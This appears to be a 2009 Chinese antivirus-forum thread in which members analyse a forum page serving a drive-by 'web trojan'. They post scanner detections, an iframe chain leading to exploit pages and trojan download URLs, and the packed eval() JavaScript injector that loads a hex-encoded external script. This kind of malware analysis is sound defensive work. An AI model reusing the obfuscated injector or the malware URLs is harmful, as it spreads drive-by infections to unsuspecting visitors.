不错的网马页

显示全部楼层 · 发表于 2009-1-7 17:08:12

hxxp://bbs.zuandi.com/thread-22591-1-1.html
注意没人只有1次机会要不就碰不到这个木马了
畅游报了

http --> hxxp
——dikex

显示全部楼层 · 发表于 2009-1-7 17:14:10

LinkScanner

显示全部楼层 · 发表于 2009-1-7 17:15:25

卡巴miss，沙盘本地文件夹，红伞扫描，3个
Starting the file scan:

Begin scan in 'C:\Sandbox'
C:\Sandbox\Administrator\DefaultBox\drive\D\Program Files\Opera\profile\cache4\opr00AXY
[DETECTION] Contains HEUR/HTML.Malware suspicious code
[NOTE]    The detection was classified as suspicious.
[NOTE]    A backup was created as '49d6730f.qua'  ( QUARANTINE )
[NOTE]    The file was deleted!
C:\Sandbox\Administrator\DefaultBox\drive\D\Program Files\Opera\profile\cache4\opr00AY9
[DETECTION] Contains recognition pattern of the JS/Dldr.Agent.HZ Java script virus
[NOTE]    A backup was created as '4cacd2b0.qua'  ( QUARANTINE )
[NOTE]    The file was deleted!
C:\Sandbox\Administrator\DefaultBox\drive\D\Program Files\Opera\profile\cache4\opr00AYI
[DETECTION] Contains recognition pattern of the HTML/Downloader.Gen HTML script virus
[NOTE]    A backup was created as '49d67310.qua'  ( QUARANTINE )
[NOTE]    The file was deleted!

End of the scan: 2009年1月7日  17:15
Used time: 00:06 Minute(s)

The scan has been done completely.

   24 Scanning directories
110 Files were scanned
   2 viruses and/or unwanted programs were found
   1 Files were classified as suspicious:
   3 files were deleted
   0 files were repaired
   3 files were moved to quarantine
   0 files were renamed
   0 Files cannot be scanned
107 Files not concerned
   0 Archives were scanned
   0 Warnings
   3 Notes

显示全部楼层 · 发表于 2009-1-7 17:26:42

我查看网址源代码的时候怎么没发现有这个网址啊？

显示全部楼层 · 发表于 2009-1-7 17:40:09

http://d.bc-s350.cn/down/360Safe.exe

http://d.bc-s350.cn/new/a1.css

显示全部楼层 · 发表于 2009-1-7 17:43:40

2009-1-7 17:44:05 http://d.bc-s350.cn/new/a1.css//UPX Opera Internet Browser 拒绝: Trojan.Win32.AntiAV.abw 启发式分析计算的威胁级别值较高
2009-1-7 17:44:28 http://d.bc-s350.cn/down/360Safe.exe//UPX Opera Internet Browser 拒绝: Trojan.Win32.AntiAV.abw 启发式分析计算的威胁级别值较高

显示全部楼层 · 发表于 2009-1-7 17:47:18

网页分析结果如下(250662772).
[wide]http://bbs.zuandi.com/thread-22591-1-1.html
[script]http://bbs.zuandi.com/include/js/common.js?985
      [script]http://%77%77%77%2E%73%68%61%6E%67%78%75%65%77%61%6E%67%2E%63%6E/vote/4.js
[script]http://%77%77%77%2E%73%68%61%6E%67%78%75%65%77%61%6E%67%2E%63%6E/vote/4.js
[script]http://%7A%78%73%6B%79%2E%6E%65%74/tj.js
[frame]http://www.rxgssllr.cn/one/a4.htm
      [frame]http://www.jym562.cn/a32/fxx.htm
         [frame]http://www.jym562.cn/a32/fx.htm
            [frame]http://www.jym562.cn/a32/Ilink.html
            [frame]http://www.jym562.cn/a32/flink.html
         [frame]http://www.jym562.cn/a32/../a1/ss.htm
            [object]http://d.bc-s350.cn/down/360Safe.exe
         [frame]http://www.jym562.cn/a32/../a1/Ms06014.htm
            [object]http://d.bc-s350.cn/new/a1.css
         [frame]http://www.jym562.cn/a32/../a1/sina.htm
            [object]http://d.bc-s350.cn/new/a1.css
         [frame]http://www.jym562.cn/a32/../a1/no.htm
            [object]http://d.bc-s350.cn/new/a1.css
         [frame]http://www.jym562.cn/a32/../a1/bfyy.htm
         [frame]http://www.jym562.cn/a32/../a1/GLWORLD.html
            [object]http://d.bc-s350.cn/new/a1.css
         [frame]http://www.jym562.cn/a32/../a1/real.htm
            [object]http://d.bc-s350.cn/new/a1.css
         [frame]http://www.jym562.cn/a32/../a1/real.html
            [object]http://d.bc-s350.cn/new/a1.css
      [script]http://js.tongji.cn.yahoo.com/857129/ystet.js
[script]http://bbs.zuandi.com/include/js/viewthread.js?985
[script]http://bbs.zuandi.com/tag.php?action=relatetag&rtid=22591

显示全部楼层 · 发表于 2009-1-7 18:50:11

common.js里面不是直接写script，是使用下面加密了的代码：

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('9.f("<c d=a:\/\/%8%6%4%2%7%0%3%1%5\/e.b><\/c>");',62,16,'2E|65|6B|6E|73|74|78|79|7A|document|http|js|script|src|tj|writeln'.split('|'),0,{}))

显示全部楼层 · 发表于 2009-1-7 20:51:10

2L,你的LS怎么扫描到的，我的LS没反应

显示全部楼层 · 发表于 2009-1-8 08:42:37

不错吗。不过不知是不是我的网有问题
到hxxp://%7A%78%73%6B%79%2E%6E%65%74/tj.js就解不开了提示错误汗啊

[其它] 不错的网马页

回复 4楼 Fengyun 的帖子